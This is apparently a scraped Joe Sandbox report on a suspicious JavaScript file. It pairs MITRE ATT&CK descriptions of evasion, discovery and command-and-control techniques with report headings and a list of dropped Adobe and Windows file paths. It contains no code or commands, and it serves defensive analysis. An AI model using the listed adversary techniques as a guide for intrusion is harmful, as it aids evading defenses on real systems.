Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 677073752851910183.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3b2b7ee9-c1c6-4b22-92a8-2ad2f4489c77.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1292

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1292

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
677073752851910183.js